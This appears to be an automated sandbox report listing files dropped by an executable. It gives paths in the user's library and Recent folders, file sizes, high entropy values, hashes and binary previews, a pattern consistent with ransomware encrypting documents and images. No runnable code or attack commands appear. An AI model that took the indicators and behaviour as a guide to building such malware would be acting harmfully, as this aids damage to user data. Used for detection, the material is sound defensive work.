Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.921550793833874
Encrypted:	false
SSDEEP:	48:NhiZnbOwWUzY0hM61aGzUR2dCTz9aj1y7UM0dJTkwiX2rraypVFeXy35C5m0NSxD:NhGnbOwDYAM61ZzU0+z9qypEqwnrayp5
MD5:	8CE4C332150B4A95C5DDDF90F02C9F2C
SHA1:	2B471E714A749AF8F4012D88A96DA3BF72316D9E
SHA-256:	7CBBE3D81D3F5A5EB3B076D13EBF22B39C921C010AF94B6D744779F1F55384BD
SHA-512:	781771A0EE90006F3D6E77E8F60345F5643F6A2AA0469EAED68E647CEB8290CBD49078DBB84188EB57878663DF7236F448BBB6C0B1CD18990DC1A77E955B0ACA
Malicious:	false
Preview:	<?xml.K.....]...VTT....-....2a\..&I~...v.s..W.a..Q..S\|...V.SH.e.....@.....%i..DO.0;=.H.!......R)'.....x.oX...2z....c..........QD7.p.......9a../.c'.B.8.;\| 3.PP>bj'6.pL.J.&...#Tb..........p..5H..{T.3.._h...1z.....+.. ?..T.rx..7j......M.]..fz..D.W.B.;D+.#:....v..V.[.s.k..vi..C..G..m/.]......-.....^e1.-m^..`....U.,:.7kC.\..ks...9\".')..b...v..:...lG{^.\|...AK.....`.....}..IU.$..?..H_.."....1...!.,q.&.....5....(...x....b.Eh...I"w..E\|f....Xa..O.KS.xP$...... ;..J\.6......Rf..h..E....G..t..).sN..5......M.'.Y..o\|\{.u.%..E...Z.%_.cLj...g7u.ab...HY.=..o..\O....w.Gf..<.!.jo...k..c...Y5.m....^$........,L#3...j)...F.>..R.e..{K..;...d.....!.w!4k.R..S..b....LMq.u..v.8wO.k!.O..KX............."@C.....m.n...M..AQ.....g q1..br.3?*..g..PJ>:...m..KH$e.U.\|2j........l.BS<..yL......~...=......q........?.....Z..?......G.\|.Lh3..T].~).Y..e.a.0y.d..........n...w.?Md......O..e.G..\|!.D.Y....a..~".ga...T...F..6.9...2.v.N..c<.`.cZ...)pG;.i:..B 0r..d.6Q..L i.....!S.Q...zq.i.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.91893868691373
Encrypted:	false
SSDEEP:	48:Sckm9EZNiizQj8egHSFz8ZQ8jMcnXvEEXGnEMxoRApNjD:9kWckMQLgHozGQ8BcnH+ezv
MD5:	74E27126133213CC29B98F6FF289D254
SHA1:	0A359BC7AD9E99B70E26648A432E55952A152FC0
SHA-256:	3F6B943C04A1737ED18B73D79C1ABEABDCB4B3B0790CFDE053FE1A4D020C13EA
SHA-512:	B90A331DABED73559AC59CAF431F3058472F34CBB8588F5CE2628B44794547467FAC747561F8FC7232EBF6D9415A730C2F6879D7D764EA4CD799D08F012EADB9
Malicious:	false
Preview:	<?xml.. .....2Z'.>.....x....+.]...l...,..\|.].(..i...a~..2..'I=..{.....J....r).I.%.fm..Z.....{.[2~.y..?1.5p...g...Niv#.We>..y.M.c.-.Vo..Ib...v..j.u.../....7.@..A?....-U..D.T....R..`0,.Es..".........y4T...$.w..`...?..E..A....Pk.>.lH.......#....f...{i[............8..=..w1.d.......q..1bk..4.]xqsf.uK..>"U.....0......z.$.'6.w...9"J......t`U..$....LL.`.9..#n.-...M.E..<.00'v'..+.+....F..".!..9....0t.e.<!.+."o.3.]..}R...!`b...(....Ki..@...f.A.=...w........O.g?!0.9......F.HT_...........y.Y.0...x[ZBTS.u.\|.I..I...f..E.....iD .s.....R7.2Fp..--.......y..u.R.{-.........Q_8....z.\|#.....I..W[.V..C/......G...'}..."Eu.Qg.a(.....va..t)...E..;..A.._.@..7...CydR.u.E.C.....j.Q7..._...-...];....Iocf.0z.%{.6.3..V...>j.+.p(?9.../....~....s_..pH9..D.......".2....#a....p..N...tW.Zn!.g..d....,....].5.G9lz.....CT...E.........aZ...s...5K..Q.t....(h.i.........$..h.er..z(q.._.+...=...I.....=......)...Y.j>..d..P..".m..Z..{<,..#.x<..Oj.W.!J..{8..%[.-..z.\|.k.T)..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.91270478722229
Encrypted:	false
SSDEEP:	48:B6sjXFka4r6b4mn/8XaE/MfmB0wATpfV0MbsZFrdh3C4orD:Eszne6EwaZMkmd8ldhypH
MD5:	75D1D2EFE3AB4E69723BEC3F6C861C99
SHA1:	144E12141A1CEC9CC39174E62D42F86F9CB0DC24
SHA-256:	7F97D0A726BC3C364568604400F5AF1106188FF0E8EBF788C26E55399CF4D0FA
SHA-512:	547B07BBB6EF51A6A84F81B2475F0624B6810C0D09C642964DBF287632B94679E7A80E856B602268D142E61336D054A78EDB6FA42C5774ADBEEE4EED524B6C7D
Malicious:	false
Preview:	<?xmlj4.v0i3....%..I.^.X.....c8hK.D..#j...L.....!.RET....}...#..D....[G....l...t..iP.Nu.K...O?".,5.9;.....,9.y&.LM..pl\..1.n..ZK..P.8..,&.}2.o.i0.FD..WV..k..G.,5.G..f7.....4.s..e.A.4...O.X3Bx.....RqyR..L...{_./."..v..T...r;Q....fa8a..)}....H...............J....0v.1.....t.P......gT.[..1 V.....5T....z..Q.IPT.R..?"+...M....L^d.nGn,....B.8........F......L..?.I.s.#...u.O.5.K]...i......K...6.5.Q...'.a..7._..y"tH.....@.6f.8...d..$D...,..I...o....`.r.`-....yl.H(BxzP..46Z.>.ix...f..&.+......a.j..8.V.X.....0......x..mdt....~2\.f}3e.<. .H/'..K.F...M.C!.@....i...Q....]..;(..L.:......dy...,a~y..W..k...xd.zOlO.}.3...s"S.`U CbAo.qMx..-W...%.E...X...o#._I......@....e.w..q.F.D.....G.?...F.+..aJ[..7..g..\|..h..)H"Gj..:...]...:....%..2...".2.v..(].....~.w......-.>.D....%.i..l......g.,.9..{Au.....Yb1........,ul.g'.o...R$...D...i]e.Q.Lk..3Q.....$=.Sy..p.(.....G.TS.....q.......R..54..k....v{.f..#.B..Hd:.>..F..z.a.vwO".wZ..}ToW.x...t..8.\|2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.8544804367723735
Encrypted:	false
SSDEEP:	24:HChf4zSS5DMdU5vSYoTdxbPseHMJhKtEBkRN8ir9LXcGjBp3zNcAUvkCDNdpJbD:HggzJDMdU5vSF3qzKtf1cS3BpU5ZdppD
MD5:	4581813727E1DDDC6339D17EC5D8DE0F
SHA1:	3FDF2169DFE400D1FC2BF099455765BFE6A3454F
SHA-256:	8453994685BBC4D0A4296C37294BE97961D88224B13AD78023748F8C82EA859C
SHA-512:	0D7A687BE54F29B709CAD0EC230EC07EF703554B7CBB64771BB4FB8D00EA5C2924B9D0F764D3C5077BECC80C0282D1281E8573AF62A516900213D36D1B3951A8
Malicious:	false
Preview:	<?xml.....A.>...6.........q<.....^.m...<.]1.....b.9#L.....g..X.Vb...v)0a..b...Wo....b.0\|.-...Gvz$........!.....H.......c.....?.H(Vq....Y.o==%.>[c.....%...U...>.M...ID....w.:.o.3.eH..`r..^...S....P.....}0......Q}F.......`..c...R.O.b..a..@.Me.....%.wA..n......y.eK.Y......\|MW.[....S..S..-d...Ib.7.%yb.,j.Lk.O..~8V..@..yO&&..hNb......X.B@..G:....%......4..{O..UT...g....8.f31'...T.C..e...J........t.j/.L.._m.y.....>.........sV.d.....e..w.0.L...BS.`#2.e%.+.....7.Z./w..b..C..mI6.m......x8n7%.2!.%r.&.WW..(.`X.3d.G.p.9.a<...+.+G&KO..-Z.x.1.].....Pf.'..<............L...K.8.......>.\...X$H..G,y.RMz..\|..d.;y~^....b...1......M(P..yVO.....L."4.t.!H.....:.....@~..SB..2".A.UK.6.1..W..Qhm15&./...s.?.).j...wP..wY.}.O..../....2..S...f..........ax.1Z.yO..V..}...........9.WlH.N.....:.h.N..j\.....}.D...n.&Kc.........i=~..d...*..S4&(...s...4.....\|..K......=...k:Ni.^.B..BO.........A...o.P..1.c...iS1..o.H.5 ....s.....{.Y...g.B..i...I1.-.[I.Y.@kB.p..>..W

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.920337895773912
Encrypted:	false
SSDEEP:	48:EECuPZzF3QsOIDfQ7H0fL9x1ihcVee8OEf5wYLzLI7aJtNZ3ZLD:EECYZFy7H0fzmcVePOEfdfmaPZ
MD5:	7EF4C6A053DB4C93970AB53F6FF4F063
SHA1:	DC21AFEE46D62DE674AE24165B0F3012D6A8FCCC
SHA-256:	003A86D5AB45B82BDE12D5A8C34646EA686D22DF455E3CEA39BA949BB5D0E86D
SHA-512:	24BE9AAD0E2D0BB56FAAA3277DF5A686D140081AB4815BB7F5B382631765EB6C5B5B98B1CEDE58FB3D99D3A9F02B96F85B1877C6222B00DC35810F3C61E104BC
Malicious:	false
Preview:	<?xmlR.......t...S..b.f.i..}.\|...b..V=...]....e...K<p9=.Q............(v......5...`:/.Z..y..'..D.<.+.<3pZ....".jsy&.........7..K.L...Zy.... (.M...Vq.+C"xK<..Z.z.......#..fW?..Xx.}#....UE...Z.....O.X..A4~_...........2h.........1.5..B..,...yG..uf>...p.R-.....)...N.....Y..%4#.QPI;..c..i.1..d..=8..w+F....g.,x.b..i.1zp...M..6.n_\|.....~.T..d.>3E.Y_...2l6..Y..i..y....R.....x~.m.}o%DT... ....yh.....Hr.?...2>....3.$.....\|......R......m...V.<O..Y..V."N.)y<.W.............s"!.....?..d.t.~Wc.7..H.4$...o.Y.W.X....{........\|.[...._o.[...Lq......4Z.<........O.....e'..2.N...Y2....yR.}3.;. ..U\|..]...g.VMj..i.........6GN..F....d...2k............S......<...wJ..}$.mU.Y....4\|b. ....O>.&.@VQ..c.U.... y..v..S\|[.hCG.+.H.<).X9)d(.9.m6!_....n..\%..oeA......u...C._..'.$=.LU..h.i.=...fF>..&.$5.;^...4#eN......-w...r5..#?t,+8...il...0..h....#r.Xo....r\.KM2g..q..x1..(..w.....e{.F.a=..^....%....W.Z.Mj.......L.D.......O...@..`...~.B.R.@.1r.."2o.^.3..8....a._.)\|..M..s.a.yt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8128311110463295
Encrypted:	false
SSDEEP:	24:ySQ8vDtiGbpXYKl0++d1fuTOcuRzonoMf8VidOiFEGKiLuYbD:yExDbt2++dpKmU9NfeQLbD
MD5:	6317B20268D3FDCCEC29D2EC44D61A9D
SHA1:	31EBBF09E0C078816229153A00770D6D1C024114
SHA-256:	44E22C2666A5B6FDC99733ADAD309A585E926CEA50EE0569820B09DBC61AB932
SHA-512:	095E7D1514C964A28833A09AC9A9D4D18CE49426329085CF840AC3FEA3ABD749FBE746FA690FBB48FA2AE42BE25692F1123F7066FA21F252EC7BE4B013C9C72B
Malicious:	false
Preview:	BQJUW:....k...i....n.{C.RQd........2.<..Jh.$..m7...D.....7..r....+(......f.PYL.A5..u.....\.....T.....\|.r..`$...d..7.}..{.0....h.o....?.K.....C...#.i=...:..'..@fn9......P..........G6.....D.(&L.l.D...W.o.6.i5....$.1=6..oB8.. ~.#. .+...V;..%..;YB.....L.i...7...,....q._f.Sgo..9c....Vvk.....z_..>Z..p..9 .bj...^=..!].Q.....>0.DA....Dp.D.pS.#.z.j...R._....%..C...3uFX.6..I u....h...+Y,....9y....l.C.n.+..,A..\..<,.g>.P.$.nF....!i9b...........j...5.o.T.,..18_.U:YpFcp......X.......q.!..<.q.5..Iw4,..R..../.zP.9.....=....A..U.....{..a....vP'.#...W.<..p.C....=dGp\>!...........-.u.$.....R.R'..X..#.t....W........I.)..<!hq.!.^.4lS..13$.d1.m.d.,.h.....d+....Y.9..P.....>V.lcJ...p.1v..y.0q2..4..A.p..~&.E.O.X..."....+n..kmW.C....L......;Pv.L\.....x/..a..J....QE...#.}...z..#......YY.......HC.&.!..e..8I...].....7.........%....qKv..[..Wk...3%..(.#..+.d..XR3K.N..'-...jLW...~7..zX......m.....`.[.*...#.._{.!.....@JJ..._..2_V?.,..f..`...hH............m...]+.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836602707727269
Encrypted:	false
SSDEEP:	24:lauLYFKT/90mnqJ4beL8kslRtb0vj10J+qguAFIIqUTw6VKQerG16DbD:l1/B3nqtIksDtb0vj10J9guMI+Tw68rx
MD5:	91C96BFE87900DAE33FE130DF28908F3
SHA1:	332CC999F5C5ECA45078C2111DBAE35E0E5881B9
SHA-256:	7CAF7F50C1CEFB3BD1F5874EB0EAA0BA1FA3199CFA163E417653ECB43C105BFC
SHA-512:	C7AB948ACBDA7093A8413D0A7B5EE185B94A2CAFA2FBB8CCAF6BCEEF3028D23EB50E635CD0CE3A4F250B1894971EFAD4DAE1102980D32524ECB75893BA56D8AB
Malicious:	false
Preview:	BQJUW.L...!.&."..."."C...&.v6t..o..D......t.P..g...;&.X.^..e..h2(S........b2'....C>].......At.S....{_"...R.....p...."...F..a.e..8.g~@.v.[........Um.[....i..BA.d..j.....y...TQ.4..e..>....9.2.m..n.-.\..,..l..M.p.v.. .).v..Oyz.....'.N..3Q#.Me .(m......S...$=...u.d....O.Xp....oX%.y.e..62..p.Z.j....U0...6...L.Z8.1Ha....Y.N.<..P.........Q.N..R..'....a..0d..Q....D9i...oGs.3=....U.....A..XpS"8....9...w..S...U..)R37....kZ.)>.h......T.b..D..I.A.J.v....8c.e.s.....-:T.....:.....eW"..#.17.zh... ...\|U..l...."...a.n.r.r49`.A.p...(.k..qJC...Qf.6....ZR.:Bq3{..2..9\....A.2.... s.D..........$W.@......A..}...8.....e..S.x..4.aj...c~".:.>..R.%....s.....K....`{...3=Q...`j..b..I........k."....Z.nd<..,}..6.....iI...hk.3.#./Q......oQHhT;..p..6...5.`.B...,C..E..g.o....@8...a.?...S...(..Ug.j.......#Q`.@..L.F.........m...&.`W....2..!..R...@..w.+....h..U......J..Y.E.....L.T.@.qH.4.?.\|...V....6...D#....n#j....E..YK1..y..o....o.m.]...b.....D.....!*..4..`..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CURQNKVOIX.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857587082943076
Encrypted:	false
SSDEEP:	24:Xqoc86+6eIU8aOnk9iERBWF7b3iTOV8jP5n8pjUr7YTT6EvX5EObUbD:XrPP7ukcEuF7bKOmT5n8ZyMTRvlb+D
MD5:	8F93BF7494F507B01EB3B508503D0F7A
SHA1:	F48CB238DD0E3195E381848AB6E91CB5212B2FCE
SHA-256:	8B2CCC2DE49B0D9F19EB161D62E26CC8B5D20BA17B91F5B57BEB936D49BF4B9F
SHA-512:	A6E0A603D15C436926440863C04FA8D46CE657F29E67B453A41C27B4FED271945898BD529D56D977F22216EAA279B5D4B89C3E5EFC411AB3684F6DF4862D334B
Malicious:	false
Preview:	CURQNRI4>.w.....s.O&..y.m=...j..fs....g%..h.(...r........;......x......a`o..\..w..3.k.J.._..1.U&.Ou/.(.EGY....8^..(v.`.......6.t....DaS.i.V... .N..udM........W...........L..k.....WK.z..*..S..Mx...&.k}..,.).7e...YqUZ`(Xey.......3XN.9;....k"6...:qS7....R..U... .ae.E9a[a...v..:................{.O..%R.....p.....x#/...=Nh.`.OTk.....o.......\...-.4.S.`..2.Z_V.....2.....0.:...,....hIXO...v.uQ.....=.R.V,l..o....s1.E..Sf.6.P.Bm.VP.3..1..n}..=.[O`~.W.a.gt.~$.d.T..m.z?.).{4.?.<....TXD......4.~....).o...Q.e...S.0.3.G..b.e..">.b4.S.f.M..U....?...r..$9..X...6..i.^..w....Z3............/.+. ...U....6.-...<;D..({u.<.y.(]..L.J.'k..+.U.f...Zca..-..'K.../.V\814.a.Y..emy.r.a6...g...jP.E.N.X..BaH....z..w."...t...%@....F.,.c...2.Z.{F..,...(T.~.n.....S6.EV.. . .;...k..........$.'...0Ri ...0t ...3....).Z...Dx.E.c..n..b.n.h.L".C.`..>sv>M"I{..I...U.<.jw{.....pD".,L...........8...2L...%..=H.._.H^.;..z..J.s....^.\.=.N.j)..-.XHL...j.....?s.bKp.......E...9.F.y...g.;..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858711421956795
Encrypted:	false
SSDEEP:	24:6dId8/lNJRp7NMuMk5lo89NdI2Gvm32/Q8FI7XA/NFFqUTy/bmHlIbD:+lHjpn/o8tIvDY8R/DFw4SD
MD5:	31842F2B98D329E5381CB6E8154B1C06
SHA1:	DD46EDC2D6CAAAA307362C63BCDBA0E47B418F54
SHA-256:	2B6A3521DD5558E6DF70323FF89D54B786817E2C9A2DB4CC497827DC5DA95B57
SHA-512:	43B8740DF9B20C3C4D380D91EEF94F6A70C0ECAA17965F2EAE20B3652F39C424CB96FFCFACD35808C455F8017B99CCEBF60F818B386C00E5C9214BA1D2F642A3
Malicious:	false
Preview:	DVWHK.u.?.B/......e....a...........\|Fm.U).11....7.u.W."..........).....s..]......8.({k-.#...R.$......n....[.... H.>.+(r...ut.&j..:.FE....;?"k...NuZ..B.....G2..P.....%.pw.t......<.Br...ly>..j.k.8....K^.sm.D.)37....f....h..P}b....,.L..:7........kU.;...jX>H.....o"Lg..#.y.e..+.).t..W...2b.:I....sZ.H.K....[t...-.....<hE`..}.....jf.r.F...IKG.b..H...SZ..B.^.P.(.F..$.I.)MC<<...v.o.bT...%.R%.._.s....y..,..DW..l..)x.z1^<..h...5.]....AHC+..t..Js..h..A.QmD<Aw.Mv.b....!Y..}n':...5?...D.. e.f"gmE.j.l8.9-b..jz.........,.k......a..-.l.......cKL.).o.3vw....f?.2........!..U....../.B...._..[N..P....Z-.......G...V.....5....Sj....$.........u.V.. ...{.C......%.Rg.C...!y...h..KB....B.=^G.v,.."..WVH...OCKb.....(.z`.f...@h{.......`).p...}.19~...Z.MI..@}-......lMnk..c.m.A...<.E.....oQ.(.i..lw.z'B.......#<l...+...y=..f.....@.0.....Bs.K-.GX....w.G.hx;..Qpp..]...p..S<c................p.....9...[P._.{pp..Y."t......<....>...\....s-.v.l..:..H%#D....T.u......k.~(

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857082450689217
Encrypted:	false
SSDEEP:	24:VjUUa/VKOWaKfoCmlH3l7TmXjNEivX6nEGvWYzDvpgEp1XlHFOSSSYEg29s+T+q7:C/VEajCmlV/ejNtJAhfxFOQYEN2+CYD
MD5:	E2C2A74C9F5B4908416E52745898C7F3
SHA1:	68323773EDF426FE4ACF34EB3755EB7271F701D6
SHA-256:	95511D53DFB5D8B0FE26655178C590E740DFAA8E615ACF74705BD3D88E45192F
SHA-512:	C0D6CFE9979F008721DE8FB6AF79E47926295A25C2E6DC6E512AC842E7A7B31797310F5F9E65080D93EDFFFAE6BAB74CAC0B0E2194FB02E59F4A471F598C261E
Malicious:	false
Preview:	DVWHK:..wT...G...f...~.L.v8Y(..+.."p...{...1MR.A7.. ....F>.:6.r....D.j.Kvu...F1g.$2..]...j......%.f..x.f.......H.Y.G'....o.a...28...<.../H.. ..A.=...\|.cd.W..:.8....a-\|..G........s.g.\..)...ER5"L...'.I..LK.T......_.yT.=...BM0w.\|.g?v..7....W.2.{.....jE.~='....^ZL.u...,....( .....ob\|/b.. ...5.pk.......3-.,...I+U.9.....c..[l(.+.. .Z..Vz{f...I.FPE....Q6Q...j.^.7.g.....rE....r_y.n.{....s...gn.Z,R..KA.l...Th........{f.\|rP..........75...'..._..@..b.h..[..+.w.z..2...U......1F_j..<.a<.....\OK0...ya^...p....\...L.i0[e,.#....1.{..n[.7.A.r..n.<p.8D....>.Q.,zD....HTD...=.....El.>.....n.......V.......$fa.NA....k...bp5....1...........N..vOT.opH...isS.......+..1..H.[.I....../...i`P...R/-0..2.eB..l..!/.[.N.d.zM-.eo(%m.)...>.$Jcz}.H...4...;...wJ...r..$._........=i.4.b.6Q...t.v..6EQ...........pO...9!.,S.A..UW\.;h.q..u.q.}l.kN*.:..8D0hs!'.?&.......... ..x....?L..i...\|.^..K.....'.....z.{x\|.\|...m..L.-.3.....x..7%...a..@.4..-...=Y...B....Gw..v>H..;..(....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857130731115019
Encrypted:	false
SSDEEP:	24:6wl6FSke9nBjuveXehIibAhkckLvhX5hIuIjPwKT/vCV+C9SGrIArM4QNPbD:ySjSY+/chXkbdhIV8SPipQNTD
MD5:	328FAE4C4F30ADA3A2F701F1416E0DFC
SHA1:	40122CA18D06BF877E9B84C8F0A22077076225E2
SHA-256:	AA113F7631062799FE065F23E19895E7A78E0FB6ACB87D22DD66063BC202B6F1
SHA-512:	97FB21016119805E136BF670078974DE2CC688E5FBBCCAB856D1DDA36118491395B0AC1089A52AF9934320B7489B5A4CA112F58A94CCFDED4D5929577BE11C89
Malicious:	false
Preview:	DVWHK.R]`.I..?.E....G....:~..O.zY..zp..?........J..5]._..C.B<....(..B.!..n..r.......Y'mo,.l........Y..q.....M2.h:.j...B<6....x.....U.}...!.PZ..J.....;...C+e#dT.U...P....9j...S.K.1.9......O.r..+.4.",.....m..k^..i4......1.,=..g.. ....R........Xj.\|'..A..v..QP....c.<...&(z%.\...6..../.. ....v...F.#qM+S/.7..L..-0.m+m.@.?.....w.eu..8......=T>v..-z.r.o.....U....ZC.......X.....kF.E.@.Y.g7E.......:....>.......9.qWF.2e..Y.Y...,..6T..N.l.4.&.......@].Z.....c7.6..Ge..)0gg...'...XO~.!.w.{.c...(..pf;/j...+..q`.K..MmO.L..E......N.._;.?.L.t.....;..D.b.. .v....L.+...+.e.....P.#3"p..d.NYh.4U...q..\.\5.UL.`....R.]>....H.7..l............}.rFn.~p.....j.R.w.c.!.d.S..j..9^!..?.....S...B.g.Ui...M..I.......q..rO$c...^F.s.2'\.p...K... ...M.z.8..g4.b.Y.h.IG.grb..A...b......K...=.}O...8i..pV....7s..f.i....F.....8.Q}:.Z....[..Vy=.o.L...@[F...m...wv.1.....=..u../.*A\...u.5oz..d.!.9...f.....P.L.F6.YS2........6.BD....+3..kH.dM......1.r].....<)!.!`.I)nu.GE

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832321785406742
Encrypted:	false
SSDEEP:	24:lT1377JlpdhbexNwsvPpu3zzjUXwpFG7qZJ9u03Hg26KkEVLC2reKbD:xJ7Ffe/nvP8zzjUB7EzA2lkEVLrD
MD5:	BE3A392AB64FA08BE8CAA461801BA2F5
SHA1:	E8B51CB59DF848534B42610E587E2783536F31B6
SHA-256:	B38D48C45E0862B8E4837CB9887F559AA5BD2255081C412841B7A7EC869BA8BD
SHA-512:	A0EF138A23C4ED661D854CBBBDB63E8850245CA3AB565D851D992C87899AE44F7ACA83F9DBEE0D1CC4A7000670923107ED3C8C5E0C0C94E0B17E1952C62015C9
Malicious:	false
Preview:	EEGWXr ....7.n...c..w...<..zWjk.R..J_......X.o.I....pTX.......L8Z......P.q._.5(..=...^......@S.%>..8>....`8R(V.\=.=...!2.W<2.....;.....s.....j.X.P.3..P..X~^j..G..r..hQ.g4FP.n.l..^..Z..ak..4.?b./8g;....e?=+.P...N.\..I...(-...i..p.....dAm?~....{IQt...9.%\|.$8....s.....R.PR.KE...k...-...g.Y...7..c..Q...D...A.I.D?~.z......G....T.....T4$..l...em.....8.+x;.Zo..N....i....SS.P.....9............C\|.aLG.DF...n.B..1`cZ......ke3..*>d.../..n..cX...;......l..e...o0/<......<.Y.dD7.p.+..p4....`. .........x......o..A.....i4.W.!.x.apt"V...`8.L.o!P\|n.........S..aA...-....'....i]=.Pd.^..:..:=wc....OE......Wi....:....7.Fa.Z...~1...F.4.....Q].p.0.4.s_........$......2#.p....n>..B....i'...>...g.\|.. ...Q>X..........cpw.\|..fa.V......k(7.A..G.x6u"..q.-..6c...6..W....'.zhV.._G..8......l...Wu..S6}.-.....%lj.y.z............'-.tQ_.yS:.....mz..A..1!7k.%c_..O.....!......^...2A...K9..8..cg...p....Uz.....S..`y.....o..)...)...."...t1_.....S...u......:........1..jJ..3...)<]

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842373047266433
Encrypted:	false
SSDEEP:	24:T93CMy3u9kDXnq2mo6IuoEM0bSt2aRjNiqtHQ5L8pMoS+KC707vf8bD:h35yYoa2mouM0zaRBiew5LoS+t0bfWD
MD5:	A7A503F6E24175F62A1B89BDDD9F15AC
SHA1:	DA320D1C1936A0CC4D760598F2358C222A04CDBF
SHA-256:	9FA633C497846E0AAD7B7EF6464FECC67DB38C69E2198D2954C8D88138CA93F9
SHA-512:	CD96F8CC142FB02E871DE58378794F7CF51AA17BAAAACE872733E766CD560FBE97A137A2DE8AC85F23BFA774319FAD6B527001537D1BF15A74D6977F09EE001C
Malicious:	false
Preview:	EEGWX....o./.w..0...P..(..R.t.A.6...R.s...2......7R%.C....k.9.?..?...C...o.:.G.....\S.h^7.(\F..R.2.Imb...6nT...!TY..G..psK...^Pw<#..g..m.f.t....5.%.(.T..?..h ...T.......zk....t.e.x4..iZ.L.I,6.......xK.F.[.Tw;...VR....)mDb...~..G...fBu..._.f.w.P..\e...Y..)5F...s.....\(...w.....Wlf..+sm.h.s..W.....~......b......:.S....n.@%.J'U.I.........xR/..d...A..(.u#.4m..z.$.q.s..'......f._.....o.r.T...i.f-_u[.2...gin.....n.-7eN..3?..d.1..m.X.%7.b.u...9;...........uT...h...c.Y..WST.?}...e..$.qes.......a%..Z$4.2..Q....#t.......a..R..Ai.O....<L.c..r...1.Q{.....>.d.....''!.=$9....Q...V.r.`.l....l.+`..x._.V... Z......+IA.J..=9S..oD.}&.:..v.^&.f.....OO,.2..^^4.<.#...>..R..<7..s.H...G._P.J\|.@bmf..S&.{.p.....[\c.V....N...~.9.....3..q.>.!...x.X ...nE.B.h.O..Oy.c.W.:z.It...L.c.0.P.........b]...K.&.S....W....M.z.W......(.'..%f.\...{...CLm..7.[.....w.7...R7..8Rw.R.R...}...[....R.j..E......F.v6.m......x0...].Os^P.....E.kh.2.6.j\*.....<Z4j..,>k#....4sof

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.87607434233345
Encrypted:	false
SSDEEP:	24:PeCpN0H0ujybzqKyDh7uJA+zitCA5CInKSsF6R6GcYlefHbK/bD:GCpN0H5j2BGC8tgjFiKzfejD
MD5:	FEF680E62D9DB79BBF0168EA7C4D08D3
SHA1:	C3D6267C9F5B1D64F633DA94C1B40233961454AC
SHA-256:	E6F8BF67ACDE9F1523973AE394F08ECAF428C95D68547742735AD07DC4B6252A
SHA-512:	A7ED7DD20D907427F85F5EAC9C6D842AE0E51E994A6F4039BB52D4937CF57824FB4B49B813CB55C966887AF334B195CDF06C0877FD964176042B5C26D73FD658
Malicious:	false
Preview:	EEGWX.s./.!L.tJ2o...+.......a..h....<.....,.=2...G]..K..Uy...uyD.m.....i..G.5s..X.....PB.W...;`1a..i.M...X9On.....8e>...d....m.].N.....).R0..2.....H(.^n.%....v,.<...S...6.....0.~....{.......:..:9~/p....:..ep.Apf.F+...;.N.......jD..`.I^.`.l.w.g].).&....=.W..i.f...".....u..P5&..........X..e]...3l..[...N..b.7..........<.+...k...L.i/64._x.B.}/....#...B~...>.PhS...&pR..=^-dwL....!s....yib..Y4.:.K.u.....'.c.m.%c..JW.".....!..U.D...5z6F3.wP.......DX...\|...5.bI....lU..TK..l.k.X ....N....F.N.1...3O.,e.q.U$x'Q....6...e\~..mqz.8.\|.t.\|..(v.\.U...#.~.w.+.W.....@..C.._...._._y.....\.e.z}`.V....vL..@..(.....,...O<.[..9.S..I[-.Q...A.r%.&..TzCf...hE.......J..t.~k.I.p...G...\.B.z..R..~4..........m..\|sG..p\|O..X^..Ve..k..=.Z...a..O..$.......M..a...Z.a..y...ot..\...Y.+O.!a..... ....Q..t\c...0#~.JK.......G....].~...X>....%..5..+.8....M...#.n....=..... 